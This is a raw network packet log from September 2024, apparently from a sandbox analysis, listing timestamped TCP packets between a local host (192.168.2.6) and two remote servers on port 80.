Sep 27, 2024 16:18:19.782057047 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.782064915 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.782098055 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.782102108 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.782124043 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.782151937 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.782233953 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.782279968 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.782294989 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.782310009 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.782336950 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.782356977 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.782368898 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.784801960 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.809137106 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.809158087 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.809173107 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.809180975 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.809253931 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.809300900 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.809314966 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.809329987 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.809340954 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.809343100 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.809370041 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.809395075 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.809425116 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.809520006 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.809525967 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.809535980 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.809551001 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.809566975 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.809575081 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.809581995 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.809606075 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.809623957 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.809778929 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.812666893 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.896739960 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:19.900561094 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:19.914948940 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.914963961 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.914974928 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.915015936 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.915028095 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.915050983 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.915102005 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.915123940 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.915134907 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.915146112 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.915172100 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.915191889 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.915576935 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.915607929 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.915617943 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.915657997 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.915718079 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.915729046 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.915762901 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.915793896 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.915806055 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.915829897 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.915860891 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.915904045 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.915914059 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.915961981 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.915971994 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.916018009 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.916024923 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.916110992 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.916120052 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.916130066 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.916136980 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.916250944 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.916268110 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.916280031 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.916306019 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.916361094 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.916371107 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.916372061 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.916445971 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.916501999 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.916512966 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.916518927 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.916524887 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.916577101 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.916784048 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.916796923 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.916802883 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.916807890 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.916817904 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.916824102 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.916830063 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.916845083 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.916898966 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.917201042 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.917212009 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.917217970 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.917223930 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.917228937 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.917234898 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.917241096 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.917296886 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.917535067 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.917546034 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.917557001 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.917579889 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.917629957 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.917792082 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.917803049 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.917809010 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.917814970 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.917824984 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.917829037 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.917834997 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.917840004 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.917845011 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.917850018 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.917853117 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.917855024 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.917861938 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.917928934 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.918457031 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.918468952 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.918474913 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.918479919 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.918484926 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.918489933 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.918494940 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.918504953 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.918509960 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.918515921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.918562889 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.918611050 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.918931961 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.918941975 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.918948889 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.918952942 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.919018030 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.973047972 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.973067045 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.973077059 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.973087072 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.973095894 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.973098040 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.973115921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.973119020 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.973129034 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.973140001 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.973150015 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.973155975 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.973160028 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.973172903 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.973180056 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.973182917 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.973195076 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.973201990 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.973206043 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.973217010 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.973217964 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.973227024 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.973238945 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.973247051 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.973273993 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.973320007 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.973443985 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.973454952 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.973462105 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.973524094 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.983900070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.983915091 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.983926058 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.983936071 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.983968019 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.984004974 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.984025002 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.984036922 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.984046936 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.984056950 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.984069109 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.984102011 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.010023117 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.010039091 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.010056973 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.010067940 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.010078907 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.010088921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.010096073 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.010099888 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.010109901 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.010121107 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.010130882 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.010138988 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.010142088 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.010152102 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.010162115 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.010163069 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.010173082 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.010185957 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.010201931 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.010231018 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.073918104 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:20.073950052 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:20.076360941 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.076385021 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.076395988 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.076445103 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.076486111 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.076529026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.076540947 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.076553106 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.076564074 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.076570034 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.076589108 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.076615095 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.076740980 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.076752901 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.076776981 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.076793909 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.076920033 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.076931000 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.076941013 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.076952934 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.076962948 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.076965094 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.076973915 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.076988935 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.076994896 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.077006102 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.077028990 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.077244997 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.077289104 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.077368021 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.077378988 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.077389956 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.077400923 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.077408075 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.077410936 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.077421904 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.077433109 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.077436924 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.077455997 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.077470064 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.077677965 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.077688932 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.077729940 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.077754021 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.077764988 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.077775002 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.077780962 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.077785969 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.077794075 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.077851057 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.078221083 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078231096 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078237057 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078242064 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078248024 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078252077 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078258038 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078269005 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078274965 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078280926 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078299046 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.078386068 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.078655958 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078666925 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078696012 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.078721046 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.078811884 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078823090 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078828096 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078833103 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078838110 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078843117 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078849077 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078859091 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078862906 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078867912 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078876019 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078881025 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078887939 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.078891993 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.078968048 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.079600096 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.079610109 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.079616070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.079621077 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.079626083 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.079631090 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.079641104 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.079647064 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.079652071 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.079655886 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.079662085 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.079663992 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.079667091 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.079674006 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.079678059 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.079772949 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.080218077 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:20.080228090 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:20.080231905 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:20.080240011 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:20.080245018 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:20.080248117 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:20.080251932 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:20.120754957 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.120768070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.120778084 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.120789051 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.120800018 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.120840073 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.120862007 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.120865107 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.120876074 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.120887041 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.120897055 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.120899916 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.120928049 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.120951891 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.121083975 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.121094942 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.121119976 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.121140003 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.121197939 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.121208906 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.121239901 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.121371984 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.121381998 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.121392012 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.121403933 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.121413946 CEST	49615	80	192.168.2.6	185.215.113.117
